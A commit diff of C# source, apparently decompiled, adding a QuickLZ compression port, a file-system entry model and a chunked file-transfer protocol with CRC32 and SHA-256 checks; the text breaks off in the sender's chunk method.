initial commit
This commit is contained in:
@@ -0,0 +1,437 @@
|
||||
using System;
|
||||
|
||||
namespace Crysome.Common.Compression;
|
||||
|
||||
public static class QuickLZ
|
||||
{
|
||||
public const int QLZ_VERSION_MAJOR = 1;
|
||||
|
||||
public const int QLZ_VERSION_MINOR = 5;
|
||||
|
||||
public const int QLZ_VERSION_REVISION = 0;
|
||||
|
||||
public const int QLZ_STREAMING_BUFFER = 0;
|
||||
|
||||
public const int QLZ_MEMORY_SAFE = 0;
|
||||
|
||||
private const int HASH_VALUES = 4096;
|
||||
|
||||
private const int MINOFFSET = 2;
|
||||
|
||||
private const int UNCONDITIONAL_MATCHLEN = 6;
|
||||
|
||||
private const int UNCOMPRESSED_END = 4;
|
||||
|
||||
private const int CWORD_LEN = 4;
|
||||
|
||||
private const int DEFAULT_HEADERLEN = 9;
|
||||
|
||||
private const int QLZ_POINTERS_1 = 1;
|
||||
|
||||
private const int QLZ_POINTERS_3 = 16;
|
||||
|
||||
private static int HeaderLen(byte[] source)
|
||||
{
|
||||
if ((source[0] & 2) != 2)
|
||||
{
|
||||
return 3;
|
||||
}
|
||||
return 9;
|
||||
}
|
||||
|
||||
public static int SizeDecompressed(byte[] source)
|
||||
{
|
||||
if (HeaderLen(source) == 9)
|
||||
{
|
||||
return source[5] | (source[6] << 8) | (source[7] << 16) | (source[8] << 24);
|
||||
}
|
||||
return source[2];
|
||||
}
|
||||
|
||||
public static int SizeCompressed(byte[] source)
|
||||
{
|
||||
if (HeaderLen(source) == 9)
|
||||
{
|
||||
return source[1] | (source[2] << 8) | (source[3] << 16) | (source[4] << 24);
|
||||
}
|
||||
return source[1];
|
||||
}
|
||||
|
||||
private static void WriteHeader(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
|
||||
{
|
||||
dst[0] = (byte)(2u | (compressible ? 1u : 0u));
|
||||
dst[0] |= (byte)(level << 2);
|
||||
dst[0] |= 64;
|
||||
dst[0] |= 0;
|
||||
FastWrite(dst, 1, size_decompressed, 4);
|
||||
FastWrite(dst, 5, size_compressed, 4);
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] source, int level)
|
||||
{
|
||||
int i = 0;
|
||||
int num = 13;
|
||||
uint num2 = 2147483648u;
|
||||
int i2 = 9;
|
||||
byte[] array = new byte[source.Length + 400];
|
||||
int[] array2 = new int[4096];
|
||||
byte[] array3 = new byte[4096];
|
||||
int num3 = 0;
|
||||
int num4 = source.Length - 6 - 4 - 1;
|
||||
int num5 = 0;
|
||||
if (level != 1 && level != 3)
|
||||
{
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
}
|
||||
int[,] array4 = ((level != 1) ? new int[4096, 16] : new int[4096, 1]);
|
||||
if (source.Length == 0)
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
if (i <= num4)
|
||||
{
|
||||
num3 = source[i] | (source[i + 1] << 8) | (source[i + 2] << 16);
|
||||
}
|
||||
byte[] array5;
|
||||
while (i <= num4)
|
||||
{
|
||||
if ((num2 & 1) == 1)
|
||||
{
|
||||
if (i > source.Length >> 1 && num > i - (i >> 5))
|
||||
{
|
||||
array5 = new byte[source.Length + 9];
|
||||
WriteHeader(array5, level, compressible: false, source.Length, source.Length + 9);
|
||||
Array.Copy(source, 0, array5, 9, source.Length);
|
||||
return array5;
|
||||
}
|
||||
FastWrite(array, i2, (int)(num2 >> 1) | int.MinValue, 4);
|
||||
i2 = num;
|
||||
num += 4;
|
||||
num2 = 2147483648u;
|
||||
}
|
||||
if (level == 1)
|
||||
{
|
||||
int num6 = ((num3 >> 12) ^ num3) & 0xFFF;
|
||||
int num7 = array4[num6, 0];
|
||||
int num8 = array2[num6] ^ num3;
|
||||
array2[num6] = num3;
|
||||
array4[num6, 0] = i;
|
||||
if (num8 == 0 && array3[num6] != 0 && (i - num7 > 2 || (i == num7 + 1 && num5 >= 3 && i > 3 && source[i] == source[i - 3] && source[i] == source[i - 2] && source[i] == source[i - 1] && source[i] == source[i + 1] && source[i] == source[i + 2])))
|
||||
{
|
||||
num2 = (num2 >> 1) | 0x80000000u;
|
||||
if (source[num7 + 3] != source[i + 3])
|
||||
{
|
||||
int num9 = 1 | (num6 << 4);
|
||||
array[num] = (byte)num9;
|
||||
array[num + 1] = (byte)(num9 >> 8);
|
||||
i += 3;
|
||||
num += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
int num10 = i;
|
||||
int num11 = ((source.Length - 4 - i + 1 - 1 > 255) ? 255 : (source.Length - 4 - i + 1 - 1));
|
||||
i += 4;
|
||||
if (source[num7 + i - num10] == source[i])
|
||||
{
|
||||
i++;
|
||||
if (source[num7 + i - num10] == source[i])
|
||||
{
|
||||
for (i++; source[num7 + (i - num10)] == source[i] && i - num10 < num11; i++)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
int num12 = i - num10;
|
||||
num6 <<= 4;
|
||||
if (num12 < 18)
|
||||
{
|
||||
int num13 = num6 | (num12 - 2);
|
||||
array[num] = (byte)num13;
|
||||
array[num + 1] = (byte)(num13 >> 8);
|
||||
num += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
FastWrite(array, num, num6 | (num12 << 16), 3);
|
||||
num += 3;
|
||||
}
|
||||
}
|
||||
num3 = source[i] | (source[i + 1] << 8) | (source[i + 2] << 16);
|
||||
num5 = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
num5++;
|
||||
array3[num6] = 1;
|
||||
array[num] = source[i];
|
||||
num2 >>= 1;
|
||||
i++;
|
||||
num++;
|
||||
num3 = ((num3 >> 8) & 0xFFFF) | (source[i + 2] << 16);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
num3 = source[i] | (source[i + 1] << 8) | (source[i + 2] << 16);
|
||||
int num14 = ((source.Length - 4 - i + 1 - 1 > 255) ? 255 : (source.Length - 4 - i + 1 - 1));
|
||||
int num15 = ((num3 >> 12) ^ num3) & 0xFFF;
|
||||
byte b = array3[num15];
|
||||
int num16 = 0;
|
||||
int num17 = 0;
|
||||
int num18;
|
||||
for (int j = 0; j < 16 && b > j; j++)
|
||||
{
|
||||
num18 = array4[num15, j];
|
||||
if ((byte)num3 == source[num18] && (byte)(num3 >> 8) == source[num18 + 1] && (byte)(num3 >> 16) == source[num18 + 2] && num18 < i - 2)
|
||||
{
|
||||
int k;
|
||||
for (k = 3; source[num18 + k] == source[i + k] && k < num14; k++)
|
||||
{
|
||||
}
|
||||
if (k > num16 || (k == num16 && num18 > num17))
|
||||
{
|
||||
num17 = num18;
|
||||
num16 = k;
|
||||
}
|
||||
}
|
||||
}
|
||||
num18 = num17;
|
||||
array4[num15, b & 0xF] = i;
|
||||
b++;
|
||||
array3[num15] = b;
|
||||
if (num16 >= 3 && i - num18 < 131071)
|
||||
{
|
||||
int num19 = i - num18;
|
||||
for (int l = 1; l < num16; l++)
|
||||
{
|
||||
num3 = source[i + l] | (source[i + l + 1] << 8) | (source[i + l + 2] << 16);
|
||||
num15 = ((num3 >> 12) ^ num3) & 0xFFF;
|
||||
array4[num15, array3[num15]++ & 0xF] = i + l;
|
||||
}
|
||||
i += num16;
|
||||
num2 = (num2 >> 1) | 0x80000000u;
|
||||
if (num16 == 3 && num19 <= 63)
|
||||
{
|
||||
FastWrite(array, num, num19 << 2, 1);
|
||||
num++;
|
||||
}
|
||||
else if (num16 == 3 && num19 <= 16383)
|
||||
{
|
||||
FastWrite(array, num, (num19 << 2) | 1, 2);
|
||||
num += 2;
|
||||
}
|
||||
else if (num16 <= 18 && num19 <= 1023)
|
||||
{
|
||||
FastWrite(array, num, (num16 - 3 << 2) | (num19 << 6) | 2, 2);
|
||||
num += 2;
|
||||
}
|
||||
else if (num16 <= 33)
|
||||
{
|
||||
FastWrite(array, num, (num16 - 2 << 2) | (num19 << 7) | 3, 3);
|
||||
num += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
FastWrite(array, num, (num16 - 3 << 7) | (num19 << 15) | 3, 4);
|
||||
num += 4;
|
||||
}
|
||||
num5 = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
array[num] = source[i];
|
||||
num2 >>= 1;
|
||||
i++;
|
||||
num++;
|
||||
}
|
||||
}
|
||||
while (i <= source.Length - 1)
|
||||
{
|
||||
if ((num2 & 1) == 1)
|
||||
{
|
||||
FastWrite(array, i2, (int)(num2 >> 1) | int.MinValue, 4);
|
||||
i2 = num;
|
||||
num += 4;
|
||||
num2 = 2147483648u;
|
||||
}
|
||||
array[num] = source[i];
|
||||
i++;
|
||||
num++;
|
||||
num2 >>= 1;
|
||||
}
|
||||
while ((num2 & 1) != 1)
|
||||
{
|
||||
num2 >>= 1;
|
||||
}
|
||||
FastWrite(array, i2, (int)(num2 >> 1) | int.MinValue, 4);
|
||||
WriteHeader(array, level, compressible: true, source.Length, num);
|
||||
array5 = new byte[num];
|
||||
Array.Copy(array, array5, num);
|
||||
return array5;
|
||||
}
|
||||
|
||||
private static void FastWrite(byte[] a, int i, int value, int numbytes)
|
||||
{
|
||||
for (int j = 0; j < numbytes; j++)
|
||||
{
|
||||
a[i + j] = (byte)(value >> j * 8);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Decompress(byte[] source)
|
||||
{
|
||||
int num = SizeDecompressed(source);
|
||||
int num2 = HeaderLen(source);
|
||||
int num3 = 0;
|
||||
uint num4 = 1u;
|
||||
byte[] array = new byte[num];
|
||||
int[] array2 = new int[4096];
|
||||
byte[] array3 = new byte[4096];
|
||||
int num5 = num - 6 - 4 - 1;
|
||||
int num6 = -1;
|
||||
uint num7 = 0u;
|
||||
int num8 = (source[0] >> 2) & 3;
|
||||
if (num8 != 1 && num8 != 3)
|
||||
{
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
}
|
||||
if ((source[0] & 1) != 1)
|
||||
{
|
||||
byte[] array4 = new byte[num];
|
||||
Array.Copy(source, HeaderLen(source), array4, 0, num);
|
||||
return array4;
|
||||
}
|
||||
while (true)
|
||||
{
|
||||
if (num4 == 1)
|
||||
{
|
||||
num4 = (uint)(source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24));
|
||||
num2 += 4;
|
||||
if (num3 <= num5)
|
||||
{
|
||||
num7 = (uint)((num8 != 1) ? (source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24)) : (source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16)));
|
||||
}
|
||||
}
|
||||
if ((num4 & 1) == 1)
|
||||
{
|
||||
num4 >>= 1;
|
||||
uint num10;
|
||||
uint num11;
|
||||
if (num8 == 1)
|
||||
{
|
||||
int num9 = ((int)num7 >> 4) & 0xFFF;
|
||||
num10 = (uint)array2[num9];
|
||||
if ((num7 & 0xF) != 0)
|
||||
{
|
||||
num11 = (num7 & 0xF) + 2;
|
||||
num2 += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
num11 = source[num2 + 2];
|
||||
num2 += 3;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint num12;
|
||||
if ((num7 & 3) == 0)
|
||||
{
|
||||
num12 = (num7 & 0xFF) >> 2;
|
||||
num11 = 3u;
|
||||
num2++;
|
||||
}
|
||||
else if ((num7 & 2) == 0)
|
||||
{
|
||||
num12 = (num7 & 0xFFFF) >> 2;
|
||||
num11 = 3u;
|
||||
num2 += 2;
|
||||
}
|
||||
else if ((num7 & 1) == 0)
|
||||
{
|
||||
num12 = (num7 & 0xFFFF) >> 6;
|
||||
num11 = ((num7 >> 2) & 0xF) + 3;
|
||||
num2 += 2;
|
||||
}
|
||||
else if ((num7 & 0x7F) != 3)
|
||||
{
|
||||
num12 = (num7 >> 7) & 0x1FFFF;
|
||||
num11 = ((num7 >> 2) & 0x1F) + 2;
|
||||
num2 += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
num12 = num7 >> 15;
|
||||
num11 = ((num7 >> 7) & 0xFF) + 3;
|
||||
num2 += 4;
|
||||
}
|
||||
num10 = (uint)(num3 - num12);
|
||||
}
|
||||
array[num3] = array[num10];
|
||||
array[num3 + 1] = array[num10 + 1];
|
||||
array[num3 + 2] = array[num10 + 2];
|
||||
for (int i = 3; i < num11; i++)
|
||||
{
|
||||
array[num3 + i] = array[num10 + i];
|
||||
}
|
||||
num3 += (int)num11;
|
||||
if (num8 == 1)
|
||||
{
|
||||
num7 = (uint)(array[num6 + 1] | (array[num6 + 2] << 8) | (array[num6 + 3] << 16));
|
||||
while (num6 < num3 - num11)
|
||||
{
|
||||
num6++;
|
||||
int num9 = (int)(((num7 >> 12) ^ num7) & 0xFFF);
|
||||
array2[num9] = num6;
|
||||
array3[num9] = 1;
|
||||
num7 = (uint)(((num7 >> 8) & 0xFFFF) | (array[num6 + 3] << 16));
|
||||
}
|
||||
num7 = (uint)(source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16));
|
||||
}
|
||||
else
|
||||
{
|
||||
num7 = (uint)(source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24));
|
||||
}
|
||||
num6 = num3 - 1;
|
||||
continue;
|
||||
}
|
||||
if (num3 > num5)
|
||||
{
|
||||
break;
|
||||
}
|
||||
array[num3] = source[num2];
|
||||
num3++;
|
||||
num2++;
|
||||
num4 >>= 1;
|
||||
if (num8 == 1)
|
||||
{
|
||||
while (num6 < num3 - 3)
|
||||
{
|
||||
num6++;
|
||||
int num13 = array[num6] | (array[num6 + 1] << 8) | (array[num6 + 2] << 16);
|
||||
int num9 = ((num13 >> 12) ^ num13) & 0xFFF;
|
||||
array2[num9] = num6;
|
||||
array3[num9] = 1;
|
||||
}
|
||||
num7 = (uint)(((num7 >> 8) & 0xFFFF) | (source[num2 + 2] << 16));
|
||||
}
|
||||
else
|
||||
{
|
||||
num7 = (uint)(((num7 >> 8) & 0xFFFF) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24));
|
||||
}
|
||||
}
|
||||
while (num3 <= num - 1)
|
||||
{
|
||||
if (num4 == 1)
|
||||
{
|
||||
num2 += 4;
|
||||
num4 = 2147483648u;
|
||||
}
|
||||
array[num3] = source[num2];
|
||||
num3++;
|
||||
num2++;
|
||||
num4 >>= 1;
|
||||
}
|
||||
return array;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using System;
|
||||
|
||||
namespace Crysome.Common.Model;
|
||||
|
||||
public class FileSystemEntry
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public long Size { get; set; }
|
||||
|
||||
public FileType Type { get; set; }
|
||||
|
||||
public long LastWriteUtcTicks { get; set; }
|
||||
|
||||
public byte[] IconPng { get; set; }
|
||||
|
||||
public DateTime LastWriteUtc
|
||||
{
|
||||
get
|
||||
{
|
||||
if (LastWriteUtcTicks <= 0)
|
||||
{
|
||||
return DateTime.MinValue;
|
||||
}
|
||||
return new DateTime(LastWriteUtcTicks, DateTimeKind.Utc);
|
||||
}
|
||||
}
|
||||
|
||||
public string ModifiedDisplay
|
||||
{
|
||||
get
|
||||
{
|
||||
if (LastWriteUtcTicks <= 0)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
return new DateTime(LastWriteUtcTicks, DateTimeKind.Utc).ToLocalTime().ToString("yyyy-MM-dd HH:mm");
|
||||
}
|
||||
}
|
||||
|
||||
public FileSystemEntry(string name, string path, long size, FileType type, long lastWriteUtcTicks = 0L, byte[] iconPng = null)
|
||||
{
|
||||
Name = name;
|
||||
Path = path;
|
||||
Size = size;
|
||||
Type = type;
|
||||
LastWriteUtcTicks = lastWriteUtcTicks;
|
||||
IconPng = iconPng;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
namespace Crysome.Common.Model;
|
||||
|
||||
public enum FileType
|
||||
{
|
||||
Directory,
|
||||
File
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
namespace Crysome.Common.Network.FileTransfer;
|
||||
|
||||
internal static class Crc32
|
||||
{
|
||||
private static readonly uint[] _table = Build();
|
||||
|
||||
private static uint[] Build()
|
||||
{
|
||||
uint[] array = new uint[256];
|
||||
for (uint num = 0u; num < 256; num++)
|
||||
{
|
||||
uint num2 = num;
|
||||
for (int i = 0; i < 8; i++)
|
||||
{
|
||||
num2 = (((num2 & 1) != 0) ? (0xEDB88320u ^ (num2 >> 1)) : (num2 >> 1));
|
||||
}
|
||||
array[num] = num2;
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
internal static uint Compute(byte[] data, int offset, int len)
|
||||
{
|
||||
uint num = uint.MaxValue;
|
||||
int num2 = offset + len;
|
||||
for (int i = offset; i < num2; i++)
|
||||
{
|
||||
num = (num >> 8) ^ _table[(num ^ data[i]) & 0xFF];
|
||||
}
|
||||
return num ^ 0xFFFFFFFFu;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System.IO;
|
||||
using Crysome.Common.Network.Packets;
|
||||
|
||||
namespace Crysome.Common.Network.FileTransfer;
|
||||
|
||||
public sealed class FtAbortPacket : IPacket
|
||||
{
|
||||
public uint TransferId;
|
||||
|
||||
public string Reason;
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(TransferId);
|
||||
w.Write(Reason ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
TransferId = r.ReadUInt32();
|
||||
Reason = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Crysome.Common.Network.Packets;
|
||||
|
||||
namespace Crysome.Common.Network.FileTransfer;
|
||||
|
||||
public sealed class FtChunkPacket : IPacket
|
||||
{
|
||||
public uint TransferId;
|
||||
|
||||
public int ChunkIdx;
|
||||
|
||||
public uint Crc32;
|
||||
|
||||
public byte[] Data;
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(TransferId);
|
||||
w.Write(ChunkIdx);
|
||||
w.Write(Crc32);
|
||||
int num = ((Data != null) ? Data.Length : 0);
|
||||
w.Write(num);
|
||||
if (num > 0)
|
||||
{
|
||||
w.Write(Data);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
TransferId = r.ReadUInt32();
|
||||
ChunkIdx = r.ReadInt32();
|
||||
Crc32 = r.ReadUInt32();
|
||||
int num = r.ReadInt32();
|
||||
Data = ((num > 0) ? r.ReadBytes(num) : Array.Empty<byte>());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
using Crysome.Common.Network.Packets;
|
||||
|
||||
namespace Crysome.Common.Network.FileTransfer;
|
||||
|
||||
public sealed class FtDonePacket : IPacket
|
||||
{
|
||||
public uint TransferId;
|
||||
|
||||
public bool Success;
|
||||
|
||||
public string Message;
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(TransferId);
|
||||
w.Write(Success);
|
||||
w.Write(Message ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
TransferId = r.ReadUInt32();
|
||||
Success = r.ReadBoolean();
|
||||
Message = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Security.Cryptography;
|
||||
using System.Threading;
|
||||
|
||||
namespace Crysome.Common.Network.FileTransfer;
|
||||
|
||||
public sealed class FtReceiver
|
||||
{
|
||||
private const int SackIntervalMs = 200;
|
||||
|
||||
private readonly CrysomeClient _client;
|
||||
|
||||
private uint _id;
|
||||
|
||||
private string _fileName;
|
||||
|
||||
private int _totalChunks;
|
||||
|
||||
private long _totalBytes;
|
||||
|
||||
private byte[] _expectedSha256;
|
||||
|
||||
private byte[][] _chunks;
|
||||
|
||||
private bool[] _received;
|
||||
|
||||
private int _receivedCount;
|
||||
|
||||
private int _highestContiguous = -1;
|
||||
|
||||
private int _lastSackTick;
|
||||
|
||||
private bool _finalised;
|
||||
|
||||
public Action<string, byte[]> OnComplete;
|
||||
|
||||
public Action<string> OnError;
|
||||
|
||||
public FtReceiver(CrysomeClient client)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
public void HandleStart(FtStartPacket p)
|
||||
{
|
||||
_id = p.TransferId;
|
||||
_fileName = p.FileName;
|
||||
_totalChunks = Math.Max(1, p.TotalChunks);
|
||||
_totalBytes = p.TotalBytes;
|
||||
_expectedSha256 = p.Sha256;
|
||||
_chunks = new byte[_totalChunks][];
|
||||
_received = new bool[_totalChunks];
|
||||
_receivedCount = 0;
|
||||
_highestContiguous = -1;
|
||||
_lastSackTick = Environment.TickCount - 400;
|
||||
_finalised = false;
|
||||
}
|
||||
|
||||
public void HandleChunk(FtChunkPacket p)
|
||||
{
|
||||
if (_chunks == null || p.TransferId != _id || _finalised)
|
||||
{
|
||||
return;
|
||||
}
|
||||
int chunkIdx = p.ChunkIdx;
|
||||
if (chunkIdx >= 0 && chunkIdx < _totalChunks && !_received[chunkIdx] && p.Data != null && Crc32.Compute(p.Data, 0, p.Data.Length) == p.Crc32)
|
||||
{
|
||||
_chunks[chunkIdx] = p.Data;
|
||||
_received[chunkIdx] = true;
|
||||
Interlocked.Increment(ref _receivedCount);
|
||||
while (_highestContiguous + 1 < _totalChunks && _received[_highestContiguous + 1])
|
||||
{
|
||||
_highestContiguous++;
|
||||
}
|
||||
int tickCount = Environment.TickCount;
|
||||
bool num = _receivedCount == _totalChunks;
|
||||
if (num || tickCount - _lastSackTick >= 200)
|
||||
{
|
||||
_lastSackTick = tickCount;
|
||||
SendSack();
|
||||
}
|
||||
if (num)
|
||||
{
|
||||
Finalise();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void HandleAbort(FtAbortPacket p)
|
||||
{
|
||||
if (p.TransferId == _id)
|
||||
{
|
||||
OnError?.Invoke("Transfer aborted by sender: " + p.Reason);
|
||||
}
|
||||
}
|
||||
|
||||
private void SendSack()
|
||||
{
|
||||
List<int> list = new List<int>();
|
||||
int num = _highestContiguous + 1;
|
||||
int num2 = Math.Min(_totalChunks, num + 64);
|
||||
for (int i = num; i < num2; i++)
|
||||
{
|
||||
if (!_received[i])
|
||||
{
|
||||
list.Add(i);
|
||||
}
|
||||
}
|
||||
_client.SendPacket(new FtSackPacket
|
||||
{
|
||||
TransferId = _id,
|
||||
HighestContiguous = _highestContiguous,
|
||||
NackList = list.ToArray()
|
||||
});
|
||||
}
|
||||
|
||||
private void Finalise()
|
||||
{
|
||||
if (_finalised)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_finalised = true;
|
||||
byte[] array = new byte[_totalBytes];
|
||||
long num = 0L;
|
||||
for (int i = 0; i < _totalChunks; i++)
|
||||
{
|
||||
byte[] array2 = _chunks[i];
|
||||
Buffer.BlockCopy(array2, 0, array, (int)num, array2.Length);
|
||||
num += array2.Length;
|
||||
}
|
||||
byte[] array3;
|
||||
using (SHA256 sHA = SHA256.Create())
|
||||
{
|
||||
array3 = sHA.ComputeHash(array);
|
||||
}
|
||||
bool flag = true;
|
||||
for (int j = 0; j < 32; j++)
|
||||
{
|
||||
if (array3[j] != _expectedSha256[j])
|
||||
{
|
||||
flag = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
_client.SendPacket(new FtDonePacket
|
||||
{
|
||||
TransferId = _id,
|
||||
Success = flag,
|
||||
Message = (flag ? "OK" : "HASH_MISMATCH")
|
||||
});
|
||||
if (flag)
|
||||
{
|
||||
OnComplete?.Invoke(_fileName, array);
|
||||
}
|
||||
else
|
||||
{
|
||||
OnError?.Invoke("SHA-256 mismatch — file rejected");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Crysome.Common.Network.Packets;
|
||||
|
||||
namespace Crysome.Common.Network.FileTransfer;
|
||||
|
||||
public sealed class FtSackPacket : IPacket
|
||||
{
|
||||
public uint TransferId;
|
||||
|
||||
public int HighestContiguous;
|
||||
|
||||
public int[] NackList;
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(TransferId);
|
||||
w.Write(HighestContiguous);
|
||||
short num = (short)((NackList != null) ? Math.Min(NackList.Length, 128) : 0);
|
||||
w.Write(num);
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
w.Write(NackList[i]);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
TransferId = r.ReadUInt32();
|
||||
HighestContiguous = r.ReadInt32();
|
||||
int num = r.ReadInt16();
|
||||
NackList = new int[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
NackList[i] = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Crysome.Common.Network.FileTransfer;
|
||||
|
||||
public sealed class FtSender
|
||||
{
|
||||
public const int ChunkSize = 1200;
|
||||
|
||||
private const int AbortTimeoutMs = 600000;
|
||||
|
||||
private const int SackWaitMs = 500;
|
||||
|
||||
private const int ChunkPaceMs = 2;
|
||||
|
||||
private readonly CrysomeClient _client;
|
||||
|
||||
private readonly byte[] _data;
|
||||
|
||||
private readonly string _fileName;
|
||||
|
||||
private readonly byte[] _sha256;
|
||||
|
||||
private volatile bool _done;
|
||||
|
||||
private volatile int _ackedChunks;
|
||||
|
||||
public Action<uint, bool, string> OnDone;
|
||||
|
||||
private static int _nextId;
|
||||
|
||||
public uint TransferId { get; }
|
||||
|
||||
public int TotalChunks => Math.Max(1, (_data.Length + 1200 - 1) / 1200);
|
||||
|
||||
public FtSender(CrysomeClient client, string fileName, byte[] data)
|
||||
{
|
||||
_client = client;
|
||||
_data = data;
|
||||
_fileName = fileName;
|
||||
TransferId = (uint)Interlocked.Increment(ref _nextId);
|
||||
using SHA256 sHA = SHA256.Create();
|
||||
_sha256 = sHA.ComputeHash(data);
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
Task.Run((Action)Run);
|
||||
}
|
||||
|
||||
public void HandleDone(FtDonePacket p)
|
||||
{
|
||||
if (p.TransferId == TransferId)
|
||||
{
|
||||
_done = true;
|
||||
OnDone?.Invoke(TransferId, p.Success, p.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void HandleSack(FtSackPacket p)
|
||||
{
|
||||
if (p.TransferId != TransferId || _done)
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (p.HighestContiguous >= 0)
|
||||
{
|
||||
_ackedChunks = Math.Max(_ackedChunks, p.HighestContiguous + 1);
|
||||
}
|
||||
if (p.NackList == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
int[] nackList = p.NackList;
|
||||
foreach (int num in nackList)
|
||||
{
|
||||
if (num >= 0 && num < TotalChunks)
|
||||
{
|
||||
SendChunk(num);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void Run()
|
||||
{
|
||||
try
|
||||
{
|
||||
int totalChunks = TotalChunks;
|
||||
_client.SendPacket(new FtStartPacket
|
||||
{
|
||||
TransferId = TransferId,
|
||||
FileName = _fileName,
|
||||
TotalChunks = totalChunks,
|
||||
ChunkSize = 1200,
|
||||
TotalBytes = _data.Length,
|
||||
Sha256 = _sha256
|
||||
});
|
||||
Thread.Sleep(50);
|
||||
DateTime utcNow = DateTime.UtcNow;
|
||||
int num = 0;
|
||||
DateTime utcNow2 = DateTime.UtcNow;
|
||||
for (int i = 0; i < totalChunks; i++)
|
||||
{
|
||||
if (_done)
|
||||
{
|
||||
break;
|
||||
}
|
||||
SendChunk(i);
|
||||
if (i % 32 == 31)
|
||||
{
|
||||
Thread.Sleep(2);
|
||||
}
|
||||
if ((DateTime.UtcNow - utcNow).TotalMilliseconds > 600000.0)
|
||||
{
|
||||
_client.SendPacket(new FtAbortPacket
|
||||
{
|
||||
TransferId = TransferId,
|
||||
Reason = "Sender timeout"
|
||||
});
|
||||
OnDone?.Invoke(TransferId, arg2: false, "ERR: Send timeout");
|
||||
return;
|
||||
}
|
||||
}
|
||||
utcNow2 = DateTime.UtcNow;
|
||||
num = _ackedChunks;
|
||||
while (!_done)
|
||||
{
|
||||
Thread.Sleep(500);
|
||||
int ackedChunks = _ackedChunks;
|
||||
if (ackedChunks > num)
|
||||
{
|
||||
num = ackedChunks;
|
||||
utcNow2 = DateTime.UtcNow;
|
||||
}
|
||||
double totalMilliseconds = (DateTime.UtcNow - utcNow2).TotalMilliseconds;
|
||||
double totalMilliseconds2 = (DateTime.UtcNow - utcNow).TotalMilliseconds;
|
||||
if (totalMilliseconds > 60000.0 || totalMilliseconds2 > 600000.0)
|
||||
{
|
||||
_client.SendPacket(new FtAbortPacket
|
||||
{
|
||||
TransferId = TransferId,
|
||||
Reason = "Done-ack timeout"
|
||||
});
|
||||
OnDone?.Invoke(TransferId, arg2: false, "ERR: No confirmation from client");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_done = true;
|
||||
OnDone?.Invoke(TransferId, arg2: false, "ERR: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void SendChunk(int idx)
|
||||
{
|
||||
int num = idx * 1200;
|
||||
int num2 = Math.Min(1200, _data.Length - num);
|
||||
byte[] array = new byte[num2];
|
||||
Buffer.BlockCopy(_data, num, array, 0, num2);
|
||||
_client.SendPacket(new FtChunkPacket
|
||||
{
|
||||
TransferId = TransferId,
|
||||
